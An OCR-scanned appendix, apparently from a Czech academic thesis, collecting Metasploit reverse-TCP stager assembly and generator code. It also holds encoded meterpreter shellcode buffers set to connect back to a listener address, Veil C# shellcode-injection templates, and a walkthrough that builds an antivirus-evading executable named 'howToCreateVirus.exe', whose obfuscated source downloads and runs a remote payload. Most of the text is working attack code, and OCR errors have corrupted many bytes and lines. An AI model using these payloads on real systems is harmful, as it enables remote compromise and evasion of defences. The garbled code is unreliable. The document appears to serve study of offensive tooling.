# @option opts [Integer] :port The port to connect to

# Qoption opts [String] :exitfunk The exit method to use if there
is an error, one of process, thread, or seh

# Qoption opts [Integer] :retry count Number of retry attempts

#

def asm reverse tcp(opts={})

retry count = [opts[:retry count].to i, 1].max

encoded port = "O0x%.8x"

[opts[:port].to i,2].pack("vn").unpack("N").first

encoded host = "0x%.8x"
Rex::Socket.addr aton(opts[:host]|["127.127.127.127") .unpack ("V").fi
rst
asm = %Q°
; Input: EBP must be the address of 'api call'.
; Output: EDI will be the socket for the connection to the
server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse tcp:
push '32" ; Push the bytes 'ws2 32',0,0 onto
the stack.
push 'ws2 ' ;
push esp ; Push a pointer to the "ws2 32"

string on the stack.
push #{Rex::Text.block api hash('kernel32.dll"',
'LoadLibraryA')}

call ebp ; LoadLibraryA( "ws2 32" )

mov eax, 0x0190 ; EAX = sizeof( struct WSAData )

sub esp, eax ; alloc some space for the WSAData
structure

push esp ; push a pointer to this stuct
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27.

28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.

40.
41.

42.
43.
44,
45.
46.
47.
48.

49.

50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.

push eax ;
parameter

push #{Rex::Text.block ap

call ebp ;
set address:

push #{retry count} ;
create socket:

push #{encoded host} ;

push #{encoded port} ;

mov esi, esp ;

push eax ;

push zero for the flags param.

push eax ;
push eax ;
WSAPROTOCOL_ INFO structure
push eax ;
inc eax ;
push eax ;
inc eax ;
push eax ;

push #{Rex::Text.block ap

call ebp ;
0, 0, 0, 0);
xchg edi, eax ;

care about the value of eax after

try connect:

push 16 ;
push esi ;
push edi ;
push #{Rex::Text.block ap
call ebp ;
test eax,eax ;

jz connected

handle connect failure:

Priloha ¢. 1

push the wVersionRequested

i hash('ws2 32.d11"',
0x0190,

'WSAStartup') }

WSAStartup ( &WSAData ) ;

retry counter

host in little-endian format
family AF INET and port number
save pointer to sockaddr struct
eax will be zero,

if we succeed,

push null for reserved parameter

we do not specify a

we do not specify a protocol

push SOCK STREAM

push AF INET

i hash('ws2 32.d11',
WSASocketA( AF INET,

'WSASocketA') }
SOCK_STREAM,
save the socket for later, don't

this

length of the sockaddr struct
pointer to the sockaddr struct
the socket
i hash('ws2 32.d11', 'connect')}

connect ( s, &sockaddr, 16 );

non-zero means a failure

; decrement our attempt count and try again

dec dword [esi+8]

jnz try connect

if opts[:exitfunk]

asm << %Q”°
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69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
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failure:
call exitfunk
else
asm << %Q7
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp

end

asm << Q"
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:

asm << asm_send uuid if include send uuid

asm

end
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9.2 ASM generated - Reverse TCP connect — Assembly

generated source code

Zdroj:

https://github.com/rapid7/metasploit-

framework/blob/master/external/source/shellcode/windows/x86/src/block/block

reverse tcp.asm

g w N

0 J o

10.
11.

12

14.
15.

16.
17.
18.
19.
20.

21.
22.
23.
24.
25.
26.

27.
28.

29.
30.

; Author:
; Compatible:

; Version: 1.0

Stephen Fewer
Windows 7,
(24 July 2009)

(stephen fewer[at]harmonysecurity[dot]com)
2008,

Vista, 2003, Xp, 2000, NT4

[BITS 32]

; Input: EBP must be the address of 'api call'.

; Output:
; Clobbers:

. reverse tcp:

13.

push 0x00003233
stack.

push 0x5F327377

push esp
the stack.

push 0x0726774C

call ebp

mov eax, 0x0190
sub esp, eax
structure

push esp

push eax

push 0x006B8029

call ebp

push eax

for the flags param.

push eax
push eax
structure
push eax

inc eax

EAX, ESI,

EDI,

EDI will be the socket for the connection to the server

ESP will also be modified (-0x1AO0)

Push the bytes 'ws2 32',0,0 onto the

Push a pointer to the "ws2 32" string on

hash( "kernel32.d1l1l",
LoadLibraryA( "ws2 32" )

"LoadLibraryA" )

EAX = sizeof( struct WSAData )

alloc some space for the WSAData

push a pointer to this stuct

push the wVersionRequested parameter
hash( "ws2 32.d11",
WSAStartup( 0x0190,

"WSAStartup" )
&WSAData ) ;

if we succeed, eax wil be zero, push zero

push null for reserved parameter

we do not specify a WSAPROTOCOL INFO

we do not specify a protocol
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31.
32.
33.
34.
35.

36.
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push eax ; push SOCK STREAM

inc eax ;

push eax ; push AF INET

push OxEODFOFEA ; hash( "ws2 32.d11", "WSASocketA" )

call ebp ; WSASocketA( AF INET, SOCK STREAM, 0, O,
0, 0);

xchg edi, eax ; save the socket for later, don't care

about the value of eax after this

37.

38.
39.
40.
41.
42.

set address:

push byte 0x05 ; retry counter

push 0x0100007F ; host 127.0.0.1

push 0x5C110002 ; family AF INET and port 4444
mov esi, esp ; save pointer to sockaddr struct

43.

44,
45.
46.
47.
48.
49.

try connect:

50.

51.
52.

push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket

push 0x6174A599 ; hash( "ws2 32.d11", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure

Jz short connected

53.

54

55.
56.

. handle failure:
dec dword [esi+8]

jnz short try connect

57.

58

59.
60.

. failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp

61.

62

. connected:
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9.3 Reverse TCP - generate and compile payload

zZdroj:
https://github.com/rapid7/metasploit-

framework/blob/master/lib/msf/core/payload/windows/reverse tcp.rb

1.

2. # Generate and compile the stager

3.

4. def generate reverse tcp(opts={})

5. combined asm = %Q"

6. cld ; Clear the direction flag.

7. call start ; Call start, this pushes the address
of 'api call' onto the stack.

8. #{asm block api}

9. start:

10. pop ebp

11. #{asm reverse tcp (opts)}

12. #{asm block recv(opts)}

13. ~

14.
Metasm::Shellcode.assemble (Metasm: :X86.new, combined asm).encode stri
ng

15. end
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9.4 Encoded Reverse TCP Payload — default encoder

o J o 0o w NP

10.
11.
12.
13.
14.
15.
16.
17.

18

22
23

27
28

33

windows/meterpreter/reverse tcp - 281 bytes (stage 1)
http://www.metasploit.com

VERBOSE=false, LHOST=169.254.210.161, LPORT=443,
ReverseAllowProxy=false, StagerRetryCount=10,
StagerRetryWait=5.0, ReverselListenerThreaded=false,

PayloadUUIDTracking=false, EnableStageEncoding=false,
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PrependMigrate=false, EXITFUNC=process, AutolLoadStdapi=true,

AutoVerifySession=true, AutoVerifySessionTimeout=30,

InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,

#
#
#
#
#
#
# StageEncoderSaveRegisters=, StageEncodingFallback=true,
#
#
#
# EnableUnicodeEncoding=false, SessionRetryTotal=3600,

# SessionRetryWait=10, SessionExpirationTimeout=604800,

# SessionCommunicationTimeout=300

buf =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"

"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d\x01\xc7"

. "M\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
19.
20.
21.

"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xcl\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"

. "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
. "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
24.
25.
26.

"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32"
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"

. "\x00\xff\xd5\x6a\x0a\x68\xa9\xfe\xd2\xal\x68\x02\x00\x01"
. "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
29.
30.
31.
32.

"\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5"
"\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
"\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"

. "\x00\x68\x58\xad4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
34.
35.

"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee"

"\xc3"
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9.5 Encoded Reverse TCP Payload — bloxor encoder + 13 Nops

Attempting to encode payload with 1 iterations of x86/bloxor
x86/bloxor succeeded with size 411 (iteration=0)

x86/bloxor chosen with final size 411

Successfully added NOP sled from x86/single byte

Payload size: 424 bytes

Final size of python file: 2036 bytes

buf = ""

buf += "\xfd\x4b\xf5\x2f\x2f\x37\x40\x91\x93\x40\x2f\x4b\xf5"
9. buf += "\xe8\xff\xff\xff\xff\xc0\x5d\x6a\x05\x5b\x29\xdd\x8d"
10. buf += "\x6d\x4b\x55\x5e\x81l\xee\xfe\xff\xff\xff\x31\xc0\x66"
11.buf += "\xb8\xa7\x00\x8b\x16\xcl\xe2\x10\xcl\xea\x10\x8d\x76"
12.buf += "\x02\x0f\xb7\x4d\x00\x89\xcb\x09\xd3\x21\xd1\xf7\xd1"
13. buf += "\x21\xd9\x66\x51\x66\x8f\x45\x00\x6a\x02\x03\x2c\x24"
14.buf += "\x5b\x48\x85\xc0\x0f\x85\xd2\xff\xff\xff\x8a\x81\x76"
15. buf += "\x69\xf4\x69\xf4\x69\x94\xe0\x71\xd1l\xbl\xb5\x3a\xe5"
16.buf += "\x0a\x6e\x58\x62\xd3\x30\xc7\xbb\xb5\x93\xba\x24\xf0"
17.buf += "\x02\xcl\xfd\x6d\xcl\x0c\xbd\x0e\x91\x2e\x50\xel\x5d"
18. buf += "\xe0\x9a\x02\x68\x50\x3f\xdb\x6d\xcb\xe6\x81\xda\x0a"
19. buf += "\x96\x1lb\xee\xf8\xa6\xf9\x77\xa8\xfc\xf1\xdc\xf0\x0£t"
20.buf += "\x7b\x46\x63\xab\x59\xec\xd2\xd8\x59\xd9\x8f\xe8\x70"
21.buf += "\x44\xbl\x8b\xbc\x8a\x7b\xb2\x9b\xc7\x6d\xcd\x10\x3c"
22.buf += "\x2b\x41\x0£f\x34\xeb\x6c\x60\x34\x44\x35\x97\x53\x1c"
23.buf += "\x5f\x57\xd4\x0f\xc8\x0e\x1b\x85\x1f\x0e\xle\xde\x97"
24.buf += "\x9a\xb3\xbe\xe8\xe5\x89\xbc\xd3\xed\x2c\x0d\x73\x52"
25.buf += "\x29\xd9\x3b\x32\xb6\x6f\xde\x5c\xec\x5c\xec\x34\x9b"
26.buf += "\x47\xa9\x18\xfd\x70\xb1\x07\x97\x00\x68\xd5\xd0\x45"
27.buf += "\xdl\x45\xd1\x6c\x15\x38\x45\x50\x6c\xd0\x07\xd0\x£f8"
28.buf += "\x05\x92\x0f\xfa\xa6\x04\x74\xa5\x1lc\xa7\xlc\xab6\xa7"
29.buf += "\x2f\x41\x7f\x11\x2f\x41\x6£\x11\x2f\x41\x47\xab\x48"
30. buf += "\x74\xa8\x8b\x7d\x1c\x17\x0c\x41\x5b\x29\xc2\x8c\xb6"
31. buf += "\xed\x49\x38\xcc\xf8\xb8\xf2\x47\xbc\x4f\xcI\xa3\x21"
32.buf += "\xc2\x21\xc2\x21\xa8\x21\xc2\x25\x94\x72\xfc\x70\x25"
33. buf += "\xb8\x7a\x47\xaf\xcd\x57\xcd\x29\xf2\xa2\xc4\xc8\x84"
34.buf += "\xa0\x84\xb0\x84\xb0\xd2\xda\xd2\xb2\x8a\x16\xdI\xf3"
35. buf += "\x26\x26\xb5\x75\xdf\x75\x89\x26\xde\x4e\xdc\x97\x14"
36.buf += "\xc8\xeb\x1d\x68\xe5\x68\x98\x4a\xc0\x22\xc0\x62\xcO"
37.buf += "\x62\xaa\x62\xfa\x0a\xf1\x25\xfe\x15\x01\xc0\x56\xa8"
38. buf += "\x23\xc6\x6e\xa7\x91\x72\xcf\x2c\x30\x20\x14\xc9\x65"
39. buf += "\x36\x9a\xc9\x9b\x0a\xb2\xcc\xc7\x0b\x04\xb0\xf4\x05"
40. buf += "\x56\x53\x3c\x53\x6f\xac\xba\xf2"
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9.6 Encoded Reverse TCP Payload — shikata_ga_nai encoder 1

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga nai chosen with final size 360

Payload size: 360 bytes

Final size of python file: 1730 bytes

buf = ""

buf += "\xbf\x82\x68\x46\x42\xdb\xd5\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xbl1\x54\x31\x7a\x13\x83\xea\xfc\x03\x7a\x8d\x8a"
9. buf += "\xb3\xbe\x79\xc8\x3c\x3f\x79\xad\xb5\xda\x48\xed\xa2"
10. buf += "\xaf\xfa\xdd\xal\xe2\xf6\x96\xe4\x16\x8d\xdb\x20\x18"
11.buf += "\x26\x51\x17\x17\xb7\xca\x6b\x36\x3b\x11\xb8\x98\x02"
12.buf += "\xda\xcd\xd9\x43\x07\x3f\x8b\x1c\x43\x92\x3c\x29\x19"
13. buf += "\x2f\xb6\x61\x8f\x37\x2b\x31\xae\xl6\xfa\xda\xe9\xb8"
14.buf += "\xfc\x9f\x81\xf0\xe6\xfc\xac\x4b\x9c\x36\x5a\x4a\x74"
15. buf += "\x07\xa3\xel\xb9I\xa8\x56\xfb\xfe\x0e\x89\x8e\xf6\x6d"
16.buf += "\x34\x89\xcc\x0c\xe2\x1c\xd7\xb6\x61\x86\x33\x47\xa5"
17.buf += "\x51\xb7\x4b\x02\x15\x9f\x4f\x95\xfa\xab\x6b\xle\xfd"
18. buf += "\x7b\xfa\x64\xda\x5f\xa7\x3f\x43\xf9\x0d\x91\x7c\x19"
19. buf += "\xee\x4e\xd9\x51\x02\x9a\x50\x38\x4a\x6f\x59\xc3\x8a"
20. buf += "\xe7\xea\xb0\xb8\xa8\x40\x5f\xf0\x21\x4£\x98\xf7\x1b"
21.buf += "\x37\x36\x06\xad4\x48\xle\xcc\xf0\x18\x08\xe5\x78\xf3"
22.buf += "\xc8\xl0a\xad\x6e\xc3\x9c\xe7\x91\x01\xfd\x90\x6f\xa6"
23.buf += "\xfc\xdb\xf9\x40\xae\x4b\xaa\xdc\x0e\x3c\x0a\x8d\xe6"
24.buf += "\x56\x85\xf2\x16\x59\x4f\x9b\xbc\xbb6\x26\xf3\x28\x2e"
25.buf += "\x63\x8f\xcI\xaf\xbI\xf5\xc9\x24\x48\x09\x87\xcc\x39"
26.buf += "\x19\xff\xac\xcl\xel\xff\x44\xc2\x8b\xfb\xce\x95\x23"
27.buf += "\x01\x36\xdl\xeb\xfa\xld\x61\xeb\x04\xe0\x50\x87\x32"
28.buf += "\x76\xdd\xff\x3a\x96\xdd\xff\x6c\xfc\xdd\x97\xc8\xad"
29.buf += "\x8d\x82\x17\x71\xa2\xle\x8d\x7a\x93\xf3\x06\x13\x19"
30. buf += "\x2d\x60\xbc\xe2\x18\xf3\xbb\x1d\xde\xd1\x63\x76\x20"
31.buf += "\x55\x94\x86\x4a\x55\xcd\xee\x81\x7a\xeb\xde\x6a\x51"
32.buf += "\xad4\x76\xe0\x37\x06\xeb\xf5\x12\xcb6\xb6\xf6\x90\xd3"
33. buf += "\xaf\x78\x57\xed\xcf\x7a\x64\x32\xf6\x08\xad\x86\x4d"
34.buf += "\x02\x84\xab\xed4\x89\xe6\xf8\xf7\x9b"
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9.7 Encoded Reverse TCP Payload — shikata_ga_nai encoder 2

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata _ga nai chosen with final size 360

Payload size: 360 bytes

Final size of python file: 1730 bytes

buf = ""

buf += "\xbe\xc5\xa3\xbl\xc8\xda\xcI\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xbl1\x54\x31\x77\x13\x03\x77\x13\x83\xc7\xcl\x41"
9. buf += "\x44\x34\x21\x07\xa7\xc5\xb1\x68\x21\x20\x80\xa8\x55"
10. buf += "\x20\xb2\x18\x1d\x64\x3e\xd2\x73\x9d\xb5\x96\x5b\x92"
11.buf += "\x7e\xlc\xba\x9d\x7f\x0d\xfe\xbc\x03\x4c\xd3\xle\x3a"
12.buf += "\x9f\x26\x5e\x7b\xc2\xcb\x32\xd4\x88\x7e\xa3\x51\xc4"
13. buf += "\x42\x48\x29\xc8\xc2\xad\xf9I\xeb\xe3\x63\x72\xb2\x23"
14.buf += "\x85\x57\xce\x6d\x9d\xb4\xeb\x24\x16\x0e\x87\xb6\xfe"
15. buf += "\x5f\x68\x14\x3f\x50\x90\x64\x07\x56\x44\x13\x71\xa5"
16.buf += "\xf9\x24\x46\xd4\x25\xa0\x5d\x7e\xad\x12\xba\x7£\x62"
17.buf += "\xcd\x49\x73\xcf\x82\x16\x97\xce\x47\x2d\xa3\x5b\x66"
18. buf += "\xe2\x22\x1f\x4d\x26\x6f\xfb\xec\x7f\xd5\xaa\x11\x9£t"
19. buf += "\xb6\x13\xb4\xeb\x5a\x47\xc5\xbl\x32\xad\xed\x49\xc2"
20.buf += "\xa2\x7f\x39\xf0\x6d\xd4\xd5\xb8\xeb\xf2\x22\xbf\xdc"
21.buf += "\x43\xbc\x3e\xdf\xb3\x94\x84\x8b\xe3\x8e\x2d\xb4\x6£"
22.buf += "\x4f\xd2\x61\x05\x45\x44\x23\x24\x8b\x35\x5b\xdb\x2c"
23.buf += "\x34\x27\x52\xca\x66\x07\x35\x43\xc6\xf7\xf5\x33\xae"
24.buf += "\xld\xfa\x6c\xce\x1d\xd0\x04\x64\xf2\x8d\x7d\x10\x6b"
25.buf += "\x94\xf6\x81\x74\x02\x73\x81\xff\xa7\x83\x4f\x08\xcd"
26.buf += "\x97\xa7\x69\x2d\x68\x37\x00\x2d\x02\x33\x82\x7a\xba"
27.buf += "\x39\xf3\x4d\x65\xc2\xdb6\xcd\x62\x3c\xa7\xe7\x19\x0a"
28.buf += "\x3d\x48\x76\x72\xd1\x48\x86\x24\xbb\x48\xee\x90\x9f"
29.buf += "\x1la\x0b\xdf\x35\x0f\x80\x75\xb6\x66\x74\xde\xde\x84"
30. buf += "\xa3\x28\x41\x76\x86\x2b\x86\x88\x54\x09\x2f\xel\xa6"
31.buf += "\x0d\xcf\xfl\xcc\x8d\x9f\x99\x1b\xa2\x10\x6a\xe3\x69"
32.buf += "\x79\xe2\x6e\xff\xcb\x93\x6f\x2a\x8d\x0d\x6f\xd8\x16"
33. buf += "\x5b\xfe\x1f\xa9\x64\x00\x1c\x7f\x5d\x76\x65\x43\xda"
34.buf += "\x89\xdc\xe6\x4b\x00\xle\xb4\x8c\x01"
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9.8 Ukazka Csharp meterpreter code injection

zZdroj:
https://github.com/Veil-

Framework/Veil/blob/master/Tools/Evasion/payloads/cs/meterpreter/rev tcp

-PY

Sw NN

O 0w J o

10.

11.
12.
13.
14.
15.
16.

17.

18.

19.

20.

21.

22. ..

23.

if self.required options["INJECT METHOD"] [0].lower () == "virtual":
payload code += "static void %s(byte[] %s) {\n" % (injectName, sName)
payload code += " if (%s != null) {\n" 2 (sName)

payload code += " UInt32 %s = VirtualAlloc (0,

(UInt32) %s.Length, 0x1000, 0x40);\n" % (funcAddrName, sName)

payload code += " Marshal.Copy(%s, 0, (IntPtr) (%s),
%s.Length) ; \n" % (sName, funcAddrName, sName)

payload code += " IntPtr %$s = IntPtr.Zero;\n" % (hThreadName)
payload code += " UInt32 %s = 0;\n" % (threadIdName)

payload code += " IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
payload code += " %$s = CreateThread (0, 0, %s, %s, 0, ref
%s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName)
payload code += " WaitForSingleObject (%$s, OxFFFFFFFF); }}\n"
% (hThreadName)

elif self.required options|["INJECT METHOD"] [0].lower () == "heap":
payload code += "static void %s(byte[] %s) {\n" % (injectName, sName)
payload code += " if (%s != null) {\n" (sName)

payload code += ' UInt32 {} = HeapCreate (0x00040000,

(UInt32) {}.Length, 0);\n'.format (pinfoName, sName)

payload code += ' UInt32 {} = HeapAlloc({}, 0x00000008,
(UInt32) {}.Length);\n'.format (funcAddrName, pinfoName, sName)
payload code += ' Rt1lMoveMemory ({}, {1},

(UInt32) {}.Length);\n'.format (funcAddrName, sName, sName)

payload code += ' UInt32 {} = 0;\n'.format (threadIdName)
payload code += ' IntPtr {} = CreateThread (0, 0, {1},
IntPtr.Zero, 0, ref {});\n'.format (hThreadName, funcAddrName,
threadIdName)

payload code += ' WaitForSingleObject ({1},
OxXFFFFFFFF);}}}}\n'.format (hThreadName)

if self.required options["INJECT METHOD"] [0O].lower () == "virtual":
payload code += """\t\t[DllImport (\"kernel32\")] private static

extern UInt32 VirtualAlloc (UInt32 %s,UInt32 %s, UInt32 %s, UInt32
%$s);\n[DllImport (\"kernel32\")]private static extern IntPtr
CreateThread (UInt32 %s, UInt32 $%$s, UInt32 %s,IntPtr %s, UInt32 %s,
ref UInt32 %s);\n[DllImport (\"kernel32\")] private static extern
UInt32 WaitForSingleObject (IntPtr %s, UInt32
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$s);pi\n"""S(x[0],r[1],r[2],x(3],c[4],x[5],c[6],x[7],x[8],r[9],r[10]
yr[11])

.elif self.required options["INJECT METHOD"] [0O].lower () == "heap":
payload code += """\t\t[DllImport (\"kernel32\")] private static

extern UInt32 HeapCreate (UInt32 %s, UInt32 %s, UInt32 %s);
\n[DllImport (\"kernel32\")] private static extern UInt32

HeapAlloc (UInt32 %s, UInt32 %s, UInt32

%$s);\n[DllImport (\"kernel32\")] private static extern UInt32
Rt1lMoveMemory (UInt32 %s, byte[] %s, UInt32

%$s);\n[DllImport (\"kernel32\")] private static extern IntPtr
CreateThread (UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s,
ref UInt32 %s);\n[DllImport (\"kernel32\")] private static extern
UInt32 WaitForSingleObject (IntPtr $%s, UInt32

%s);PI\n"""e (y[0],y[1],y[2],y[3],y[4],y[5],yl6],y[7],y[8],y[9],y[10]
(y[11],y012],y[13],y[14],y[15],y[16])
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9.9 Ukazka vytvoreni payload ve frameworku Veil

Tato ukazka popisuje, jak vytvorit C# reverse http payload ve frameworku
Veil. Vystupem je spustitelny (.exe) soubor, ktery se po spusténi pripoji ke

vzdalenému hostu a navaZe plné spojeni s meterpreter session.

- Vzdalena IP adresa: 169.254.210.161
- Port, na ktery se skript pripoji: 80

Nasledujici obrazky jsou porizeny z operacniho systému Kali Linux, pro béh
Veil frameworku je nutny Python 3.
Spustit Veil je moZné z prikazové radky z mista, kam je Veil staZeny. Jeho

staZeni je moZné z oficialniho Github repozitare:

- https://github.com/Veil-Framework/Veil

CHANGELOG root@kali: ~/Veil

File Edit View Search Terminal Help
:~/Veil# python3 Veil.py

config

= b
LICENSE
README.md
setup

Tools

Veil.py

-—

.git

e .github

Obrazek 24 - Spusténi Veil frameworku
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root@kali: ~/Veil

Edit View

Main Menu
2 tools loaded
Available Commands:
exit Exit Veil
info nation on a specific tool
list i ilable tools
update
use

Main menu choice: [i

Obrazek 25 - Spustény Veil

Po spusténi Veilu, jak je vidét na Obrazku 25 - Spustény Veil. Je mozZné
pracovat s programem v jednoduchém grafickém rozhrani.
Po napsani prikazu list se zobrazi seznam dvou zakladnich nastroja Veil:

1) Ordnance
o Generuje payloads pomoci msfvenom
2) Evasion
o Generuje vlastni payloads s ucelem skryti pred antivirovym feSenim

Pomoci prikazu use 2 se uZivatel dostane do nabidky Veil Evasion, jak je

vidét v nasledujicim obrazku.

root@kali: ~/Veil
File Edit View Search Terminal Help

Veil-Evasion Menu
41 payloads loaded

Available Commands:

back
checkvt
clean
exit
info
list
use

Veil-Evasion command: [

Go to main Veil menu
ns >rated hashes
ted artifact
Exit il
Information on a specific payload
List available pa
Use a specific payl

Obrazek 26 - Veil Evasion
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Prikazem 1ist se zobrazi seznam vSech payloads, které

vygenerovat.

root@kali: ~/Veil

File Edit View Search Terminal Help

[*] Available Payloads:
autoit/shellc _inject/flat.py

r

4. py

v_http.py

v_https.py

v_tcp.py
iniert/uirtual nw

Obrazek 27 - Veil payloads
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je mozné

Piikazem use 9 se uZivatel dostane do nabidky generovani C# reverse http

payloadu. A pomoci piikazi set je mozné nastavit zakladni idaje k tomuto payload.

root@kali: ~/Veil
File Edit View Search Terminal Help

Veil-Evasion

cs/meterpreter/rev_http
Required Options:

Name

COMPILE TO EXE

DEBUGGER X i : Check if
DOMAIN X ional: Required int
EXPIRE_PAYLOAD

HOSTNAME

INJECT_METHOD
Minimum number
: Sleep "

o validate not in UTC
ed u account

9.254.210.1j

Obrazek 28 - Veil C# rev http
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- Set LHOST 169.254.210.1
- Set LPORT 80
- DalSi nastavenijako USE ARYA Y, jsou volitelna

- Generate pro pokracovani

Dalsi nabidka vyzyva k pojmenovani payload. Autor vybral pojmenovani

howToCreateVirus a takto vypada nasledujici obrazovka.

Veil-Evasion

cs/meterpreter/rev_http
/usr/share/veil-output/compiled/howToCreateVirus.exe
/usr/share/veil-output/source/howToCreateVirus.cs
Metasploit RC file written to: /usr/share/veil-output/handlers/howToCreateVirus.rc

enter to continue >:

Obrazek 29 - Generated file info

Informuje o cesté, kam by soubor vytvoren a jeho ¢asti, Veil také generuje
pro kazdy payload handler, ktery je moZné spustit v Metasploit frameworku, aby
uzivatel nemusel pokaZzdé vSechno ru¢né nastavovat.

Zdrojovy kod, ktery vygeneroval Veil vypada nasledovné.

g System.Runtime.InteropServices; using System.Threading;

ng System.Ling;

g System.Net; using System.Net.Sockets; U
IAw { cla LInrdu {
ing UNIXhrGTBqT (Random r, int s) {

] = new
g NiACyAiIxheOh = H
;1 < s; i++){ MtnoJKQ[i] = NiACyAiIxheOh[r.Next(NiACyAiIxheOh.Length)];}

1 new string(MtnoJKQ);}
ic bool mkXEnJ(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % = 92);}
ing JOPiDggMSCCC =

¢ string xRIgmTgc(Random r) { s

i=0; i< 64; ++i) { JOPiDGEMSCCC = UNIxhrGTBqTfqUm(r, 3);
g hGMHuskHPKCGkx = new string( .ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
int j = 8; J < hGMHuskHPKCGkx.Length; ++j) {
ing CZharQMiWrTHohA = JOPiDqgMSCCC + hGMHUSKHPKCGKx[11;

if (mkXEnJ(CZharQMiwrTMohA)) {return CZharQMiwrTMohA;}}} return ;}static byte[] ihnKyOg(string oxullxhkpdExqnF) {
WebClient wwcwxhQUG = new System.Net.webClient();
wwewxhQVG . Headers . Add i )i
wwewxhQVG. Headers . Add ( . i
wwewxhQVG. Headers . Add ( , i
wwewxhQVG . Headers . Add ( . )i

e[] azwHrDIblYax = null;

¢ { azwHrDIblYax = wwcwxhQVG.DownloadData(oxullxhkpdExqnF);
(azWHrDIblYax.Length < ) return null;}

catch (WebException) {}

return azWHrDIblYax;}

static void SxgJGACQI(byte[] BdwVFuhSvts) {
if (BdWvFuhsvts != null) {
UINt32 hxPrXbhpAKjtvU = VirtualAlloc(0, (UInt32)BdwVFuhSvts.Length, ' )i
Marshal.Copy (BdWVFuhSvtS, 0, (IntPtr)(hxPrXbhpAKjtvU), BdWWFuhSvtS.Length);

IntPtr nHBIMZCILQrxd = IntPtr.Zero;
UInt32 JotMgLeMvfyx =
IntPtr zcowKhGdnthghNV = IntPtr.Zero;

NHBIMZCILQrxd = CreateThread(o, @, hxPrxbhpAKjtvU, zcowkhGdnthghv, o, ref JotMgLeMvfYX);
WaitForsingleobject (nHBIMZCILQrxd, )i 3}
static void Main(){
Random rCzQfxB = new Random((int)DateTime.Now.Ticks);
syte[] gCgXJeqgtsevv = ihnKyOg( + xRIquTgc (rCzQfxB));
5xgJGACQI(gCgXJeqgtsevv);}
[D11Import( tic extern UInt32 VirtualAlloc(UInt32 vKOLlyOwE,UInt32 sgnmsFmolSiGIJ, UInt32 wlkaPXIGcFFR, UInt32 dFUuRySLIEgd);
[DUlImport( 1 IntPtr CreateThread(UInt32 rTKKCCjmL, UInt32 pPOkztWEi, UINnt32 hKLaQkXKMgT,IntPtr yEPvflnD, UInt32 sdNnAbnofXUi, ref UInt32 DfrEskGsN);
[D1lImport( extern UInt32 WaltForSingleObject(IntPtr modEjDMINSZAp, UINt32 hROhVYlzUKRLB);}}

Obrazek 30 - C# zdrojovy kod
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